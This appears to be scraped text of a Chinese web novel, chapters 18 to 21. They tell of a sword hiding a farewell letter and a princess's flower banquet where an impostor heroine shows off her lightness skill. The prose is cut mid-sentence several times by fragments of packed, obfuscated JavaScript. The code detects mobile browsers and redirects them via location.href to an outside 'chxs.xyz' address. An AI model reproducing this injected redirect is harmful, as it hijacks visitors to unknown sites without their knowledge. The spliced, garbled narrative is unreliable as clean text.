l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790081|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈统大笑两声,感叹道:“你竟然也不会水了,复儿也怕水怕得很。” 他没有削木棍,只拿着剑站在池塘边看,鱼游过,谈统拿剑一刺,竟然串了两条! 曲屏离得十几步远,她喜得跳起来拍拍手掌,“二叔,你可真厉害!” “还有更厉害的呢,你且瞧!” 谈统将两条鱼拔下来扔到一旁的草地上,背过身来,侧耳听水声。 曲屏见状安静下来,微微躬着腰,屏气凝神。 倏地,谈统双眼一睁,握剑反手刺去。只听得一阵扑腾拍打声,再提剑时,只见上面串着一条约有两斤重的鱼。它嘴巴大张,尾巴仍不住地左右摇摆。 “厉害厉害!二叔可真厉害!”曲屏这下佩服不已。 她早先就听小彤说谈家大老爷善为官之道,二老爷善武,三老爷善经商。 如今看来,果然名副其实。 谈统听了夸赞,叉腰大笑,嘴上说着“过奖过奖”,手头却又欲提剑去刺。 “二叔,这些鱼够了吧?我最多只能吃半条,大早上的没什么胃口。” 谈统顿住,“呃,我方才同你二婶用了早膳。” “那就别抓了,咱们就烤这三条鱼吧。” “好好好。”说完谈统将剑一扔走了过来。 曲屏着实喜欢这把剑,此时也不顾满塘池水,她跑上前两步接住。 “二叔,这剑是你命人打的?” 谈统自顾自地捡了鱼,道:“非也非也,唉,你这没了记忆可是真的不好,这剑是你送给我的啊。” “啊?”好吧,也是谈统心大,连着ooc几次,他都不当回事。 “我也不知晓你当年是在哪儿打造的这把剑,怎么丫头,你喜欢这把剑尽管要回去,我用惯了刀,剑总是没那么趁手。” 曲屏将剑归鞘,摆手拒绝,“送出去的礼物哪有收回来的道理,我只是想问问在哪儿打的,我也好去打造一把,二叔既然不知,那就算了。” 刚说完,曲屏却见剑柄处有一行小字,字太小又是小篆,她认不出来。 谈统刚将鱼串起来架在火上,没听见曲屏声音,他扭头却见她盯着剑柄。 “丫头,你这是作什么,我都说了,你喜欢我就将它还你。” “二叔,这上面有字,是什么字呀?” “哦,你说这个啊,我平日里不大用,从没细看过,只是你那年将这剑送与我时,说此剑名‘子目’,想必便是这二字了。”谈统头也不回地解释了一番。 “可是这上面有一行字呢,我看不止两个字。”曲屏挠了挠头,将剑递了过去。 “哦?”谈统听了也颇为惊讶。 他起身接过剑一看,果真见剑柄最下方有一列很小的篆字,上方确有两个端正的楷体“子目”。 “吴青健所造,特赠——” 谈郁李。 谈统念完,脸色一变,低声道:“郁李怎会与道全相识?我当年便听他说他要造一把宝剑送人,却没想到竟是送给郁李……” 他心道:还是直书其名,谈郁李将此剑送给我时吴道全年纪不过二十八,郁李正值及笄之年,难道…… 他不敢细想,忙合上剑,却留意到剑鞘的异常。 19. 第 19 章 剑鞘凹凸不平,上面花纹繁复,却看不出是何样式,谈统轻轻抚过,眼神一动。 轻声朝曲屏说道:“这剑原是吴青健打造的,我也是才知道。” “他是什么人?” 谈统坐下来将糊掉的鱼翻了个面,看着曲屏,神色有些不自在,“他算是我一个旧识,却是个奇人,以造宝剑名扬天下。大约十七年前,我意外与他相识,见他为人大方,举止豪放,便常常与他畅谈游玩,是为忘年之交,后来才知他便是当时的造剑大师,所造之剑无不有名。那时我常听他念叨着说要造一把绝无仅有的宝剑,我一直未能见到,本以为此生无望,却不想这十几年一直在我手中……” 谈统耳中又响起那清朗的嗓音…… “登达兄,我什么也做不好,只会造剑,我要造一把这世间绝无仅有的宝剑。” “登达兄,我听闻你有几个女儿,她们可会武艺?” “有两个女儿,大女儿同我一样,喜欢舞刀弄棒,常与我切磋。” “那你说不会武艺之人会不会喜欢剑?” 他那时说的什么已然模糊了,谈统却深深地记得他与吴青健的最后一面,那时青年愁容满面,跑到谈宅与他道别,临行前时时顿足回看,末了说:“登达兄,这一别,今生不复相见了。” 其实吴青健说岔了,那之后谈统还见过他一面,只是见到的是他被砍成一团的尸体。 “二叔既然与他熟识,为什么不问他要剑来看,不然也不会这么多年才知道。”曲屏疑惑地说道。 “那之后没多久我就听人说他死了,我跑到乱葬岗去看了他的尸体。” 曲屏静默下来,她讨厌看见任何尸体,不管是刚死犹带体温的,行将腐烂的,还是化成白骨的。 她都讨厌,厌恶极了。 只是,死总不是一件乐意听闻的事情。 她没有说话,只是学着谈统方才的样子翻转着木棍,将鱼翻了一个面。 “这条好了,我撒点料。”谈统说着便从怀中掏出一个布包打开,里面有十几个瓶瓶罐罐。 “看不出来嘛,二叔还有这一手,东西还这么齐全。” 曲屏见谈统熟练地打开几个瓶子将粉末均匀地撒在鱼肉上,惊叹不已。 谈统又笑了起来,笑声大得响起回声。 “你有备而来,就是想练完刀之后烤鱼吃吧?还唬我说是听见笑声过来的。” 谈统将鱼递给曲屏,道:“你现在不记得这些了,当年可是你带我来这儿的,你说你想吃鱼却抓不到,所以把我叫过来给你抓鱼。” “竟然还有这事?”曲屏吹了吹,对着鱼鳍部位咬了一口,还没咽下就赞叹出声,“哇!这也太好吃了吧!我好久没吃过这么美味的鱼了,池塘里养的果然不一样。” 因为实在太过美味,曲屏一口不停吃完了整整一条鱼,吃完还意犹未尽。 谈统就又插了几条鱼,最后跟着小彤她们几个丫鬟每人一条全吃完了。 吃饱喝足,谈统将长剑挂在腰上,悄声嘱咐道:“可别同你二婶说吃鱼的事情,我年初病了一场,大夫说要少食荤腥,她这半年以来每日只准我吃一条鱼。” 说到最后,他有些无奈。 “二叔放心,我绝不会跟她说的,小彤也不会。” “哈哈哈……” 谈统又大笑几声,虚握着剑鞘走了出去。 曲屏在草坪上坐了一会儿,也跟小彤一起回了沉香院。 * 谈统甫一踏入房门,神情肃然起来。 他挥退左右,解下长剑,放在桌上细细看去。 时不时地弯起两根手指敲两下,过了良久,他才寻出机关处,遂拔出剑顺着剑鞘侧边的细缝使劲一撇,“铛”的一声,剑鞘一分为二。 只见里面夹着一张浅黄色的宣纸,谈统抿唇将折成两半的纸打开,看着上面熟悉的张扬字迹。 ——二叔亲启,此般迂回,如叔得以见之,实乃郁李胜天,惟幸胜矣。 适闻吴兄道全为叔挚友,此剑正为他所造,各中缘由,纸短不可尽言,逍遥王义子乃吴兄之侄,时年七岁,叔可见之。 简之年初以来精神恍惚,常怏怏不乐,时有自残之举,郁李恐二叔二婶忧心,故并未相告,只时时交谈开解,叔需劝之。 琳姊早有出家之意,非一时兴起,郁李及笄时得知,既如此后如果真入佛门,叔苦劝无益。 四哥哥性情刚直,实不该为县令,郁李不忍打击,后如遭变故,叔可开解安抚。 五哥心中自有丘壑,处境实难矣,叔万不可迫其考取功名。 寻筝软弱,郁李常哀之叹之,无有成效,闻前日救一人,来历不明,恐不利也。 檀香与郁李名为主仆,实为金兰,望叔保之。 郁李病弱之身,实不堪与方郎相配(涂掉) 郁李近日常感心中惴惴,十余年反复如此,乃固疾也,惟此次为最。恐遭祸患,不论天灾人祸,实十死无一生,余心明矣。 郁李归去后,方郎必四处相寻,叔不可阻扰,此乃天命也。 此信实难交付,更难言之,故此迂回,命也,不可抗矣。 ——郁李 端正秀丽,末端张扬飘逸,横竖细长利落,确是郁李的字迹。 谈统双眼无神,愣愣地坐在木凳上。 子目剑是谈郁李及笄那年中秋赠与他的,而剑鞘却是失踪前半个月。 谈统不敢细想,他不能细想。 他精通机关之术,可这个不甚高明的机关夹层在他身边放置了足足十年,他到今日才留意到。 他想起与郁李的最后一次相见。 那是婚礼前夜。 郁李憔悴得很,脸色惨白得脂粉都难以掩盖,他那时不作它想。 那段日子郁李本就病得厉害,方弥谨特意将婚礼提前,两家都有冲喜之意。 只是谁也没有想到她会在那一晚消失得无影无踪。 他记得那时郁李见他来了,还仰着笑脸问道:“二叔,我前些日子送你的剑鞘你喜欢吗?” 他那时回道:“郁李丫头,我很喜欢。” 谈郁李艳丽的脸色露出几分歉意之色,“二叔,除了爹爹,家中长辈中我只与您最亲近,有些事情我也只能跟您说。我心知二叔用不惯剑,只是二叔已有宝刀,这才赠您名剑。郁李出嫁后,二叔如思念我,在方宅见不到我,可常看这把剑。……这是一把好剑。” 后来郁李失踪后,他头几年跟着大哥四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795160|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处花银子打听,却没有任何消息,更是不愿多看此剑一眼,命人将它藏了起来。 也是前些日子听闻她回来了,怕郁李难过,以为他不喜欢她送的礼物,这才又拿了出来。 真是阴差阳错。 可郁李丫头怎么能说十死无一生呢,现在不就回来了吗…… 谈统只枯坐着,他心知一切都不一样了。 同与道全的那次诀别一样,他终究是错过了。 如果他当年就曾看到,也许一切都会不一样。 这样,他就可以常去看看道全常说的那个乖侄子,看他是否如他所言那般乖巧聪慧。 他就不会直至复儿病得食难下咽,难以入眠才得知他真的病了,不是矫饰,便也不会动辄打骂,时时罚跪以盼其早日醒悟。 他便也能知道琳儿之心,不会硬逼着她嫁人,最后险些叫她丢了性命,致使这十年来亲情断绝,父女再难相见。 也许他也不会哀叹伤仲永,而硬逼着云儿考取功名,最后致其考场晕厥,后又叫驸马殴打报复,落下病根如今未愈。 筝儿的事他是不是也可以同三弟说说,那样也不至于让他中年丧爱女,自此亲缘淡薄。 …… 他不敢细想这其中种种。 谈统神情恍惚,枯坐直至傍晚,李苁蓉走了进来。 “你做这儿干甚?方才为何不用午膳?”李苁蓉走过去,拍了一下他的背,又道:“听丫鬟们说你在里面待了一天了,是怎么了?” 谈统回过神来,捏着信想要拿给李苁蓉看,两根手指相触,其间哪还有什么东西? “信呢?我拿在手中的信呢?” “怎么不见了?!” 李苁蓉摁了一下他的额头,蹙眉道:“什么信?我一进来只见你傻坐在这儿,手里什么也没有。” 谈统不可置信地四处翻找,却不见半点踪影。 “怎么会这样?”他素来粗犷的声音透着几分苍凉。 * 曲屏刚用完晚膳,正坐在树下赏月消食,就见外间来了两个小厮,将一个木盒递给小彤。 小彤抱着木盒走了过来。 脆声道:“小姐,二老爷命人送了剑过来,还带了话,说‘上面既刻字赠谈郁李,归还郁李丫头不收,那便权当转赠了’” 曲屏惊诧道:“上面真刻了这几个字?” 说着她就接过木盒打开,拿着剑仔细辨认,这样一说,越看那几个字倒是越像了。 难不成真是铸剑之人赠与谈郁李的,谈郁李不知何故,又将它送与谈统? 真是奇怪…… 谈郁李既有才女之名,该也不会不识小篆吧? 后边传来急匆匆的脚步声,曲屏不消回头便知是檀香。 反正只要是与她家姑娘有关的事情,她最是关心。 “什么字?给我看看。”说完不待曲屏回答,她便抢过剑双手捧着细看剑柄上的字。 剑鞘从手心滑过,曲屏只觉得手心火辣辣的,她也不计较,只双手搓了搓缓解疼痛。 笑嘻嘻地说着风凉话,“怎么,檀香你也识得字?” 若是往常,檀香必会呛声,可这次却只是愣愣地看着剑柄,嘴里呢喃着:“特赠谈郁李。” 20. 第 20 章 曲屏只听到这一句,檀香嘴里仍不停地说着什么,她却是一个字也没听清。 她疑惑地挑了挑眉。 送给谈郁李怎么了?难道送给她很稀奇?檀香怎么知道后这么一副魂不守舍的样子? 曲屏也不想多问,只揉着肚子消食,佯作赏月状,实则竖起耳朵听。 “檀香姐姐,你怎么了?”见檀香这样,小彤焦急地问道。 檀香回过神来,却是将子目剑抱在怀中,横了曲屏一眼转身就走。 “诶!檀香姐姐,那是二老爷送给小姐的!” “她不是!这把剑是姑娘的!” “砰”地一声,房门被关上。 小彤低声说道:“小姐,您就这样让她把剑拿走吗?白天您分明很喜欢这把剑。” 就连从不插足这些的小怡也不赞同地看着檀香紧闭的房门,低声说道:“檀香姐姐今日实在过分了些。” 曲屏倒是不介意这些,毕竟檀香说得也没错,她本来就是个冒牌货,这把剑自然也不是送给她的。 她的确喜欢宝石,剑术又不错,今日持剑耍了一把,也算过足了瘾,甚是痛快。 对世间珍宝她从来就没有太多占有欲。 便是方弥谨那条宝石项链她最初也只是想见一见,摸一摸。 从来没有想要占为己有的念头。 “随她去吧,咱们今天还是早点睡觉,明天还要参加赏花宴呢,想想就头疼。” * 翌日清晨,小彤早早地就给她准备好了衣服。 是一件水粉色的大领华服,衣领和裙摆绣满了云纹,布料轻柔,穿上粉粉嫩嫩的。 曲屏试穿了一下,惊叹不已。 “哇塞,我居然能这么漂亮,果然这几个月不是白养的皮。” 一白遮百丑啊,要是之前她那黑不溜秋的样子,穿上这件粉衣服非得叫人笑掉大牙不可。 小彤又帮她将外衣解了下来,轻声道:“小姐,我现在就给您上妆。” 曲屏一直惊叹,小彤听了也很是受用,“这是这段时间时兴的妆面,小姐再戴上这几只簪子,真真就是花仙子下凡来了。” 曲屏听到这话哈哈大笑。 “我?花仙子下凡?哈哈哈……这话我从前可没听过,倒是别有一番趣味。这一身装扮虽然麻烦,耐不住好看啊。” 好不容易精心打扮一番,曲屏也乐在其中。 临出门时,檀香却是走了过来。 “怎么,檀香,你也要去吗?” 檀香面无表情地点了点头,没有说话。 曲屏也不自讨没趣,只继续跟小彤闲聊。 “小彤,宴会在哪儿呀?”曲屏悄声问道:“皇宫吗?” “哪能呀,小姐,是在公主府呢。” “华阳公主很得宠吗?这么小就有府邸了。”她之前可是听人长公主可是成亲时才有府邸。 小彤点了点头,悄声回道:“当今陛下只有这一位公主。” 曲屏长叹一口气,她可算是知道自己惹上什么人物了。 二人刚上马车,檀香一进来,便对小彤说道:“你先出去,我有些话要问她。” 小彤见檀香表情严肃,她看了曲屏一眼,轻声叫道:“小姐。” “没事,小彤你先出去坐会儿,正好看看风景,有什么好玩的跟我说,待会儿回来的时候我们去玩。” 听了这话,小彤点了点头,弯腰退了出去。 檀香坐到曲屏旁边,只是看着她,一言不发。 曲屏被她盯得不自在,双手搭在坐垫上,翘着二郎腿,道:“怎么不说话,不是要问我什么吗?” “你……” 曲屏循声看去,檀香欲言又止。 离得近了,曲屏才看出檀香的不对劲。 她好像比之前憔悴了些,不仅脸上没有上妆,就是嘴唇也起了死皮。 曲屏回想起她初到谈宅时,檀香不管是言行举止还是一身的行头,俨然一副千金小姐做派,哪有半分丫鬟模样。 “檀香你,你怎么了?是心情不好吗?”见檀香不说话,曲屏干咳两声,试探着说道:“不会是因为我在这儿,顶了你家姑娘的位置,你气成这样了吧?” 檀香冷哼一声,却是难得的没有嘲讽她,而是平静地问道:“若是,你待如何?” “不如何。”曲屏摇头晃脑,摆出无赖样。 “我这人就这样,没脸没皮没廉耻,气到你真是抱歉了。” 曲屏脱口而出“抱歉”二字,举止间并没有流露出丝毫歉意。 檀香见此,终于还是咬牙切齿道:“就你,也配?!” 曲屏如了意,连连点头表示赞同,“我当然不配,你有话快些问,不然我可去外面陪小彤了。” 就在曲屏起身之际,檀香拉住了她的衣袖。 曲屏弯着腰与她对视。 “你是哪里人士?” “你瞧呢?” 曲屏又坐了下来。 “浑身市井之气,像你这样的人,缺衣少食惯了,为了钱财而来,倒也能理解。” 曲屏听了这话,也不生气,只是赞同地点头。 “你成亲后,我会是你的陪嫁丫鬟,你最好不要行勾引之事,到时我会日日看着你。” “勾引?勾引谁?方弥谨?”曲屏指了指自己,“诶檀香,我这人是贪财,可没有这么贪色啊,我无端勾引他做什么?” 项链到手她早跑没影了,哪还有心思陪他们演戏。 “说话算数?” 曲屏伸手跟她击掌,笑着凑过去道:“当然,骗你是小狗!” “哼,希望如你所说。” 顿了顿,檀香又从胸口掏出一封信来,递给曲屏。 “这是谁的信?”曲屏接过。 看着空白的信封,刚要拆开,就听檀香说道:“等回房再看。” “这是王爷派人送过来,给姑娘的,只是他没料到你是个冒牌的,因而到了我手上。” “……逍遥王?”曲屏如今只认识他。 见檀香点头,曲屏想不明白,便将信塞入腰封夹层。 “你上次拿的就是这个吧?” 檀香嗯了一声,转身就出了马车。 曲屏只听到檀香冷淡的声音:“小彤,你进去吧。” * 到了公主府,马车刚停下来,曲屏就听到不小的议论声。 “是谈家的马车。” “那里面定然是谈二小姐。” “姐姐竟然也知道她?” “呵呵,如今京城谁人能不知道她?你看就连公主都邀她来赏花了。” “你们年纪小,我以前可是见过她的,还同她说过话,谈家如今虽大不如从前,可谈二小姐长得国色天香,也难怪方大人这么多年念念不忘。” “什么念念不忘,我看方大人是舍不下面子,怕悔婚落下把柄影响仕途。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801966|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听闻他当年一穷二白来到京城,怎的偏生就与谈大人搭上关系?谈大人当时可是因着剿匪连升两品,很得陛下信任呢,若不是谈二小姐婚前跟舅舅走了,谈大人怎会仕途中断?” “你这样说倒也有几分道理。” “如今风水轮流转,谈家倒要倚仗方大人了。” “……” 门口停满了各路马车,各家小姐都由丫鬟搀着走了下来,有些来得早了便聚在一块聊了起来。 聊的多半与谈家有关。 檀香早早地下了马车,她垂首静立,听着四周的议论,神情淡然。 小彤掀开帘子,曲屏小步走了下来。 “这便是谈二小姐?我看不过如此,一股小家子气,哪能称得上是倾国倾城?” “是与我少时见到的不太一样,个子好像也矮了些,倒是一样的瘦。” “不是说她舅舅善用毒,不知吃了些什么药,容貌大变吗?我只听说吃药变好看的,倒头次见着变得不如从前的。” 议论声此起彼伏,曲屏也听了个大概。 这些人她全不认识,见檀香一言不发,曲屏也权当没听到。 过了片刻,公主府出来了十几个服饰精美的丫鬟,在门口站成两排。 接着宛白走了出来,她依旧素面朝天,眉眼不见笑意,嘴角微扬:“诸位小姐请进。” 她旁边的小厮一一接过请帖细看。 人走了大半,曲屏才带着小彤跟了上去。 进了公主府,曲屏强忍着才没有惊叹出声。 她原以为谈家已经够奢华了,没想到这儿远远甚之。 曲屏暗中感叹:真不愧是皇家府邸。 曲屏跟着一行人沿着鹅卵石铺就的小路径直走上木梯,隐隐闻到一股清淡的花香,越走花香越是馥郁。 前面领路的几个丫鬟没在花园停留,而是领着人朝一旁的亭子走去。 那亭子大得很,完全能容纳她们这二三十来号人,里间早备好桌椅茶具,只是仍不见公主的影子。 进了亭中,宛白轻声道:“诸位稍坐。” 曲屏依着木牌坐到角落的位子上,见桌上摆了一盘水果和一盘点心,立马抓了一个糕点放入嘴中。 “哇,这个好吃,小彤你也尝尝。”说着就拿了一个塞给小彤。 小彤接过糕点,吃也不是,放回去也不是。 最后还能用袖口遮住嘴巴悄悄吃了。 “怎么样?” 小彤轻轻点头,低声道:“小姐,其他人都没吃,就我们吃了。” 曲屏环顾四周,发现还真是。 其他世家小姐都端正地坐在那儿,便是如方才那般闲聊都没有,更别说吃东西了。 曲屏不想太扎眼,便正襟危坐起来,倒是与对面女子来了个对视。 这人穿着一身淡青色衣服,头饰简单,妆容清淡,看着比其他人年纪稍长些。 “小彤,她是谁?” 小彤抬头看了一眼,弯腰欲说,曲屏附耳凑过去听。 “小姐,我哪知道这些啊,如今谈家不比以前,这些官家小姐的宴会鲜少会给谈家送请帖,我也是头一次见呢。不过听说华阳公主平日里办宴会,请的都是高官之女,有时还会有郡主呢,今日咱们应该是最不起眼的。” 也是,如今谈家靠经商立足,整个谈家都只有小一辈的谈寻榆当上了官,谈郁李虽然当年是官家小姐,如今却是不官不商的,尴尬得很。 21. 第 21 章 曲屏拍了小彤一下,没好气地说道:“凑这么近,我还以为你知道呢。” “小姐。”小彤扯了扯曲屏衣袖,有些羞恼。 “下次我常带你出门玩,小彤,你可得多认些人。” 一路上都没有说话的檀香却是开口了。 她俯身给曲屏倒了一杯茶水,低声道:“那人是丞相府千金,姓许,闺名卿云,小字相思。右相只此一女,发妻产女半年后病逝,再未续弦,因而十分疼爱。虽才貌双全,备受宠爱,性情却淡然随性,同我年龄相仿,却仍待字闺中,与我家姑娘算是点头之交。” 点头之交? 难怪时不时地看一下她,原来是认识谈郁李。 知道了这人,曲屏又抬头看了她一眼。 对面女子朝她微微颔首,曲屏回了一个大大的笑容。 女子愣了一下,抬头示意旁边。 曲屏顺着她的视线看去,只见十几个丫鬟手中各拿着一枝盛开的鲜花,依次站在过道的两边,紧接着华阳公主缓步走了过来,宛白紧随其后。 黄若烟身穿白色绣花襦裙,外面披了一件浅粉色罗纱,细密的纱衣覆盖在裙摆,随着她的脚步摇曳在地面。 头上并没有太多发饰,只随意别了几根玉簪,右边发髻却是插了一朵并蒂牡丹。 她的脸上脂粉轻薄,口脂浅淡,只眼尾描了花钿。 这样大的一朵极盛之花,又是并蒂牡丹,因着她这通身的贵气,衬得娇艳欲滴。 她这样的年岁,是怎么都好看的,真真是人比花娇,不说倾国倾城国色天香,也能称得上秀美绝伦。 “倒是新奇,其他人都是在额头上画东西,公主怎么画在眼尾?”曲屏故意问道。 她上次就注意到华阳公主眼尾有一道淡色疤痕,只是不知是何缘故,也许檀香能知道。 檀香冷嗤,“明知故问。” 呃。 不知不觉,曲屏已经跟着众人行了个礼。 “诸位不必拘束,开宴吧。” 黄若烟声音清脆,透着花季少女的朝气蓬勃。 曲屏又跟着坐了下来。 她头一次参加这么正式的宴会,在座的又都是达官显贵,一时也很是新奇。 也不知这赏花宴不去看花,坐在这儿作甚? 看着这么风雅,不会要作什么“赏花诗”吧? 曲屏一时头大,只觉口干舌燥,顺手将方才檀香给她倒的那杯茶水一口喝了。 事实不出她所料,华阳公主刚刚不知又说了些什么,几个丫鬟就搬来笔墨纸砚,有几个世家小姐已经提笔落字了。 “小彤,这是怎么了?不会真要作诗吧?” “小姐,公主方才说先以各花为名各作一首诗,然后评出魁首,之后再由魁首领头去赏花。” 这是什么鬼哦,看个花又要作诗又要带路的…… 她会作哪门子诗呦!就连毛笔都不会拿,繁体字都只认得少部分常见的,更别说写了。 见曲屏迟迟不拿笔,对面的许卿云诧异地看了她一眼。 端坐主位的黄若烟歪头看着她,笑道:“谈姐姐怎么不动笔?本宫素闻谈姐姐才名,谈姐姐十几年曾于及笄宴上以一篇《狸猫赋》名噪一时,难不成如今江郎才尽了?” 她的笑容天真无邪,语调轻快,若不是在说她,曲屏定然会感叹一声“声音真好听”。 “呃,……公主谬赞了,当年的许多事情臣女都记不得了,这十年疏于练习,早担不上才女的名号了。”曲屏半天只憋出这一段话来。 华阳公主好端端的,称她为“谈姐姐”作甚? 旁边另一个黄衣女子笑道:“公主您有所不知,谈二小姐这十年来也不知都在捣腾些什么,想必连笔都不知道怎么拿了,姓甚名谁都不记得了,哪还会作什么诗啊。” 话落,笑声一片。 檀香有些气恼,她俯身问道:“你真的一句诗都不会写?” “鹅鹅鹅,呃,真不会写。”倒是会背一两首简单的。 檀香叹了一口气,刚要开口教她,又怕自己作的诗污了谈郁李的名声,故而只说道:“那你便别作诗了,公主自幼钦慕方大人,今日怕是不会善罢甘休,你切不可得罪了她。” 这她自然知道。 左右刀架在脖子上她也写不来诗,曲屏索性站了起来,大声说道:“公主,臣女这些年却是学了些别的东西,公主可要一观?” 黄若烟来了兴致,她微微伏低身子,“哦?是什么技艺?快些给本宫瞧瞧。” 曲屏别的不会,剑术与轻功却很是不错。 “公主,我这技艺需要空旷处方能施展开来。” “那好,我们现在就去赏花,那里边正是两侧鲜花,四周开阔得很。”说着黄若烟率先站了起来,朝木梯上走去。 其他人只得放下毛笔,有几人不情不愿地议论着。 “我诗都写好了,她作不出来也就罢了,害我白费心思。” “是啊是啊,往年赏花宴魁首的诗可是有可能得到京城中人传颂的,这次没有魁首岂不白费气力?” “她作不出诗,还不让我们作了?” 曲屏走在最后面,自然都听了个清楚,一时心中无奈。 她刚刚也没有想那么多,没成想又得罪了人。 哪知道一个宴会还能有这么多门道,她还以为只是来看看花,聊聊天呢。 许卿云命丫鬟用砚台将宣纸压住,走上前拉住其中一个烟蓝色衣服的女子说道:“伏苓妹妹何必为这等事烦心,我这几日本就想着要出本诗集,一直不知道该写什么诗,眼下花开之际,我们今日作的又多是咏花之诗。故而卿云想着何不将今日诸位所作之诗集成册子,不知各位妹妹意下如何?” “那敢情好,我早先就听闻许姐姐才名,若是我写的诗能同许姐姐所作在一本诗集,那可真是荣幸之至。”女子顷刻间愁容散尽,脸上露出真心的笑容来。 其他人闻言,纷纷同意,拉着许卿云好一番称赞。 “许姐姐去岁的那首《咏竹》我还会背呢!” “是呀,许姐姐这诗作得真好,我当时见了惊叹不已,还仿写了两首呢。” “京城谁能不知许姐姐才名?” 许卿云不置可否,她轻声道:“我们去看完谈二小姐的技艺回来,正好墨迹也干了,我回去就叫人抄写拓印,诗集名字我都想好了,就叫‘百花集’,你们以为如何?” “如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806802|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今百花盛开,这名字正合其意,甚好甚好!” “我也喜欢这名字,我写的是芍药,方才见许姐姐看着亭外,不知许姐姐写的是什么?” 许卿云淡淡一笑,道:“我写的是落花。” “如今正是花开之际,姐姐怎么会写落花?” 许卿云但笑不语。 末了,才解释道:“花盛开之日,便也临近凋落之时,花开花落,年年如此。你看,那朵开得最盛的牡丹,下面已经有两片花瓣掉下来了。” 随着众人远去,许卿云渐渐慢了下来,直到与曲屏并肩。 曲屏看出她是特意等她,便率先开口夸赞道:“你人真好,很会做人,她们都喜欢你。” 许卿云无声一笑,“上次见到谈二小姐还是我及笄那一天,如今这样,反倒是我要唤你妹妹了。” 曲屏低头看了眼自己豆芽菜一样的身板,尬笑两声,道:“我这也是,我舅舅不知捣鼓了些什么药出来,我吃了之后虽然人变丑了,但是好处还是有的,那就是年轻了很多。” 许卿云捂嘴笑出声来:“昔年谈大人官运亨通,谈二小姐容貌过甚无甚好处,如今更是如此了。要我说,谈二小姐身体康健,又能得未婚夫婿十年等待,已是极好了。” 很快,就到了花园里面。 黄若烟停了下来,大声说道:“谈郁李,这地方够你施展了吧?” 曲屏听到这名字险些没能反应过来,还是檀香给了她一肘子她才跑过去,笑嘻嘻地说道:“够了够了,完全够了。” 说完曲屏就将外衣脱了扔给小彤,又从宛白那儿要了一块浅色纱布披帛。 披帛是淡蓝色的,虽然跟她想要的有些出入,不过料子柔软绵密,阳光下闪闪发光,亮得晃眼。 这样的料子舞起来便是视觉盛宴! 曲屏握着披帛一端,甩了甩,淡蓝色布料随着力道扬起,风吹过,流淌出自然优美的形状。 阳光透过细小的缝隙,照在草地上,像是一汪湖水,又似一瞥蓝天。 曲屏用劲一扬,淡蓝色披帛随风而起,她运起轻功飞上枝头,披帛飘散如浅淡的烟雾,在阳光下显出些许彩色来。 不等众人惊叹,曲屏如飞燕踏过花圃,转瞬间手中多了几支鲜花。 花开得极盛,花瓣上还缀着几颗露珠,曲屏带着淡蓝色烟雾从空中飞过,瞬息越过人群,从湖面踏过,没有发出任何响声。 许卿云正仰头看着,突地感到一点冷意,她下意识闭上眼睛,冷意顺着眼睛滑落至脸颊。 原来是露珠。 这颗露珠于夜间凝结,同千千万万颗一样,点缀在成百上千片花瓣上。偶然的,恍似一阵风起,它重新回到空中,又很快地坠落下来,直到出现在她的眼前。 曲屏的头上不知何时簪了一簇不知名的蓝紫色野花,小花连带着细小碧绿的藤蔓像是从头顶长出来,蔓延至发髻,生机盎然。 暖风拂过,半空中掉下零星花瓣洒落至湖面。 许卿云摸着脸上的水珠,释然一笑。 水痕似未干的泪痕般,突兀地显现在她的脸上。 许卿云环顾四周,仔细地看着她们的面容,这么多人里面,只有她沾上了露珠。